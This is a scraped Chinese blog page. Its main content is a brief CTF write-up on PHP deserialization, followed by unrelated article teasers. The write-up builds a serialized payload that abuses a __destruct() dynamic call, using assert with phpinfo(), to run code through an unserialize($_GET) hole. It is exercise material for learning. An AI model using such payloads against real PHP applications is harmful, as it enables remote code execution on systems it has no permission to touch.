张小明
前端开发工程师
题目
先按F12查看源码，找到线索
访问
应该是反序列化题目
找到漏洞点unserialize($_GET["data"])以通过控制data参数，构造恶意的序列化数据，利用__destruct()方法的动态函数调用执行任意代码
这里可以构造变量a—>phpinfo()，变量b—>assert；组合起来后—>assert(phpinfo())
构造payload
?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
输入payload查看
找到flag
一、设计核心目标 功能完备性：覆盖日常/复杂输入场景，支持多类型、校验、格式化等高频需求；可扩展性：预留插槽、配置项，支持业务定制化（如前缀图标、后缀操作区）；性能优化࿱…
李华
前后端HTTPS及证书配置完整流程 mTLS双向认证请求测试 本文档详细记录前后端项目配置HTTPS协议、生成并部署证书、实现mTLS双向认证的全过程，适用于Vue3+Vite前端与NestJS后端架构（其他架构可参考核心逻辑）。配置完成后可实现前端与后端的安全HTTPS通信，并通过mTLS双向认证…
李华
TIA博途虚拟机终极配置指南：V17V16V15.1全版本一键部署 【免费下载链接】TIA博途虚拟机文件V17V16V15.1可直接使用 本仓库提供了一个TIA博途虚拟机文件，包含TIA Portal V17、V16和V15.1版本，用户可以直接使用这些虚拟机进行开发和测试。虚拟机…
李华
个人简介一名14年经验的资深毕设内行人，语言擅长Java、php、微信小程序、Python、Golang、安卓Android等开发项目包括大数据、深度学习、网站、小程序、安卓、算法。平常会做一些项目定制化开发、代码讲解、答辩教学、文档编写、也懂一些降重方面的技巧。感谢大家的…
李华
前言 企业微信开发中，回调功能用于接收服务器的通知和数据，比如审批结果、打卡信息等，是实现消息推送、OAuth2 授权等功能的关键。它适用于企业 IT 人员、开发者，能帮助企业搭建内部业务系统与企业微信的连接，优点是能…
李华
👑 第一名：ChatPPT（www.chatppt.cn） 综合多项评测，ChatPPT在2025年被认为是国内综合实力最强的AI PPT工具之一，其优势主要体现在以下几个方面。 海量模板与强大设计：ChatPPT拥有超过40万套模板…
李华